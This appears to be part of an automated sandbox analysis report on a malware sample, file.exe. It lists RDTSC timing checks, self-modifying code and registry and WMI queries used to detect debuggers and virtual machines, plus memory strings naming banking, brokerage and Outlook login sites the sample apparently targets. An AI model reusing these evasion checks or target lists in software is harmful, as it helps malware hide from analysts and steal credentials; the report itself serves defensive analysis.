Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550A30 second address: 5550AE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007FF0F910250Ch 0x00000010 pushad 0x00000011 mov edi, ecx 0x00000013 mov si, 2043h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b pushad 0x0000001c jmp 00007FF0F9102515h 0x00000021 mov dx, ax 0x00000024 popad 0x00000025 mov bh, ch 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 pushad 0x0000002a mov cx, di 0x0000002d mov eax, edx 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FF0F9102519h 0x00000039 and esi, 4F3E16D6h 0x0000003f jmp 00007FF0F9102511h 0x00000044 popfd 0x00000045 mov eax, 7C960A47h 0x0000004a popad 0x0000004b xchg eax, esi 0x0000004c jmp 00007FF0F910250Ah 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FF0F910250Dh 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550AE3 second address: 5550AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550AE9 second address: 5550B6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF0F9102510h 0x0000000f mov esi, dword ptr [ebp+0Ch] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FF0F910250Eh 0x00000019 add si, 91B8h 0x0000001e jmp 00007FF0F910250Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FF0F9102518h 0x0000002a adc ch, 00000018h 0x0000002d jmp 00007FF0F910250Bh 0x00000032 popfd 0x00000033 popad 0x00000034 test esi, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov bh, E7h 0x0000003b call 00007FF0F910250Ch 0x00000040 pop ecx 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550B6C second address: 5550BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF168C3E08Dh 0x0000000f jmp 00007FF0F8740860h 0x00000014 cmp dword ptr [75AB459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF0F874085Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550BAB second address: 5550BB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550C7D second address: 5550CC3 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushfd 0x00000009 jmp 00007FF0F8740869h 0x0000000e jmp 00007FF0F874085Bh 0x00000013 popfd 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF0F8740862h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682DEAE second address: 682DEB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682DEB4 second address: 682DEB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699F296 second address: 699F2AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Dh 0x00000007 jl 00007FF0F910250Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AEE85 second address: 69AEE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AEE92 second address: 69AEE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AF003 second address: 69AF00A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B1EE0 second address: 69B1EE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B1EE6 second address: 682DEAE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF0F8740864h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 63014904h 0x00000011 cmc 0x00000012 push dword ptr [ebp+122D0BADh] 0x00000018 movzx edx, cx 0x0000001b call dword ptr [ebp+122D37C2h] 0x00000021 pushad 0x00000022 or dword ptr [ebp+122D345Bh], ebx 0x00000028 xor eax, eax 0x0000002a mov dword ptr [ebp+122D345Bh], ecx 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 pushad 0x00000035 jmp 00007FF0F8740869h 0x0000003a popad 0x0000003b mov dword ptr [ebp+122D3AC7h], eax 0x00000041 jmp 00007FF0F874085Dh 0x00000046 mov esi, 0000003Ch 0x0000004b ja 00007FF0F8740861h 0x00000051 jmp 00007FF0F874085Bh 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a jbe 00007FF0F8740869h 0x00000060 jp 00007FF0F8740863h 0x00000066 xor dword ptr [ebp+122D345Bh], esi 0x0000006c lodsw 0x0000006e pushad 0x0000006f mov bx, F2D1h 0x00000073 push ebx 0x00000074 mov dword ptr [ebp+122D345Bh], esi 0x0000007a pop edx 0x0000007b popad 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D345Bh], esi 0x00000086 add dword ptr [ebp+122D345Bh], ebx 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 clc 0x00000091 push eax 0x00000092 push eax 0x00000093 push edx 0x00000094 push eax 0x00000095 push edi 0x00000096 pop edi 0x00000097 pop eax 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B1F59 second address: 69B1FFA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF0F910251Bh 0x00000008 jmp 00007FF0F9102515h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jnl 00007FF0F910251Bh 0x00000016 push esi 0x00000017 jmp 00007FF0F9102513h 0x0000001c pop esi 0x0000001d nop 0x0000001e mov di, cx 0x00000021 mov dword ptr [ebp+122D2A68h], edx 0x00000027 push 00000000h 0x00000029 mov ecx, dword ptr [ebp+122D3A5Bh] 0x0000002f call 00007FF0F9102509h 0x00000034 jno 00007FF0F9102518h 0x0000003a push eax 0x0000003b jmp 00007FF0F9102512h 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 pushad 0x00000045 push ebx 0x00000046 push edx 0x00000047 pop edx 0x00000048 pop ebx 0x00000049 pushad 0x0000004a jl 00007FF0F9102506h 0x00000050 push edi 0x00000051 pop edi 0x00000052 popad 0x00000053 popad 0x00000054 mov eax, dword ptr [eax] 0x00000056 jc 00007FF0F910251Eh 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B1FFA second address: 69B2017 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B2017 second address: 69B201C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B201C second address: 69B2092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dx, 08ABh 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FF0F8740858h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d xor dword ptr [ebp+122D2994h], eax 0x00000033 popad 0x00000034 push 00000003h 0x00000036 mov dword ptr [ebp+122D2A68h], edx 0x0000003c call 00007FF0F8740859h 0x00000041 jl 00007FF0F874085Ah 0x00000047 push ebx 0x00000048 pushad 0x00000049 popad 0x0000004a pop ebx 0x0000004b push eax 0x0000004c jnc 00007FF0F874085Ah 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 push edi 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B2092 second address: 69B2098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B2206 second address: 69B220A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B220A second address: 69B2210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B2210 second address: 69B2238 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FF0F874085Ch 0x00000012 popad 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007FF0F8740856h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B2375 second address: 69B23AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FF0F9102515h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C3DB1 second address: 69C3DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2D88 second address: 69D2DAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FF0F9102506h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2DAE second address: 69D2DDC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FF0F874085Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edi 0x00000015 pop edi 0x00000016 ja 00007FF0F8740856h 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jnp 00007FF0F8740856h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D0C8F second address: 69D0C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D0F2B second address: 69D0F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FF0F8740856h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D137A second address: 69D138C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FF0F9102533h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D138C second address: 69D13A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F8740863h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D13A3 second address: 69D13A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D1662 second address: 69D166A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D166A second address: 69D167D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FF0F9102506h 0x0000000d jns 00007FF0F9102506h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D167D second address: 69D1695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D1695 second address: 69D169E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D169E second address: 69D16A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D1D43 second address: 69D1D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF0F9102511h 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D1D5B second address: 69D1D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FF0F8740865h 0x0000000e jmp 00007FF0F8740868h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2547 second address: 69D2551 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF0F9102506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2BDF second address: 69D2C2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740862h 0x00000007 jne 00007FF0F8740856h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF0F8740867h 0x00000017 jl 00007FF0F8740865h 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007FF0F874085Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2C2A second address: 69D2C34 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF0F9102512h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D4BA8 second address: 69D4BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF0F874085Ch 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e jmp 00007FF0F874085Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D83CD second address: 69D83D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D83D1 second address: 69D83D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DD9C2 second address: 69DD9D5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0F910250Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007FF0F9102506h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DDC59 second address: 69DDC6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE391 second address: 69DE395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE395 second address: 69DE39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE39B second address: 69DE3B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E030F second address: 69E03AA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0F8740858h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FF0F874085Ah 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push edi 0x00000018 jmp 00007FF0F874085Ah 0x0000001d pop edi 0x0000001e pushad 0x0000001f jo 00007FF0F8740856h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b push edi 0x0000002c jmp 00007FF0F8740861h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 pushad 0x00000037 push eax 0x00000038 pushad 0x00000039 popad 0x0000003a pop eax 0x0000003b push eax 0x0000003c jc 00007FF0F8740856h 0x00000042 pop eax 0x00000043 popad 0x00000044 pop eax 0x00000045 mov edi, 7299BA6Ah 0x0000004a call 00007FF0F8740859h 0x0000004f jne 00007FF0F8740868h 0x00000055 push eax 0x00000056 jmp 00007FF0F8740860h 0x0000005b mov eax, dword ptr [esp+04h] 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E03AA second address: 69E03B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF0F9102506h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0557 second address: 69E055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E055C second address: 69E0566 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0F910250Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E082E second address: 69E0838 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0F874085Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0838 second address: 69E0859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF0F9102518h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0859 second address: 69E085F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E085F second address: 69E0863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0953 second address: 69E0957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0957 second address: 69E095B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E0B72 second address: 69E0B77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E10D9 second address: 69E10DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E11CB second address: 69E11CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DB0CAB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F5DA41 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 682DED4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 682DE0F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69D3B98 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69D386B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 682DE09 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6A70B43 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6834AA1 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_069CA61C rdtsc

0_2_069CA61C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_069C2CCB sidt fword ptr [esp-02h]

0_2_069C2CCB

Source: C:\Users\user\Desktop\file.exe TID: 7388	Thread sleep time: -32016s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7488	Thread sleep time: -180000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.1779536796.00000000069B9000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1774626377.0000000000F3F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, file.exe, 00000000.00000002.1775436320.0000000001773000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679926131.0000000001773000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000000.00000003.1505771866.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
